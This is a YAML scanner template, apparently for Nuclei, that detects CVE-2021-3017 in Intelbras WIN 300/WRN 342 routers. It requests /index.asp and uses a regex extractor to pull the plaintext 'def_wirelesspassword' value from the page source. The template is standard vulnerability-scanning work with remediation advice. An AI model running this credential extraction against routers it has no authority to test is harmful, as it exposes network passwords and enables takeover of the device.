Intelbras WIN 300/WRN 342 - Credentials Disclosure

id: CVE-2021-3017

info:
  name: Intelbras WIN 300/WRN 342 - Credentials Disclosure
  author: pikpikcu
  severity: high
  description: Intelbras WIN 300 and WRN 342 devices through 2021-01-04 allows remote attackers to discover credentials by reading the def_wirelesspassword line in the HTML source code.
  impact: |
    An attacker can gain unauthorized access to the router's administrative interface and potentially compromise the entire network.
  remediation: |
    Update the router firmware to the latest version, which includes a fix for the vulnerability.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2021-3017
    - https://pastebin.com/cTYTf0Yn
    - https://github.com/bigblackhat/oFx
    - https://github.com/openx-org/BLEN
    - https://github.com/Miraitowa70/POC-Notes
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2021-3017
    epss-score: 0.01563
    epss-percentile: 0.87211
    cpe: cpe:2.3:h:intelbras:win_300:-:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: intelbras
    product: win_300
  tags: cve2021,cve,exposure,router,intelbras

http:
  - method: GET
    path:
      - "{{BaseURL}}/index.asp"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - 'def_wirelesspassword ='
          - '<title>Roteador Wireless</title>'
        condition: and

      - type: status
        status:
          - 200

    extractors:
      - type: regex
        regex:
          - 'def_wirelesspassword = "([A-Za-z0-9=]+)";'
        part: body
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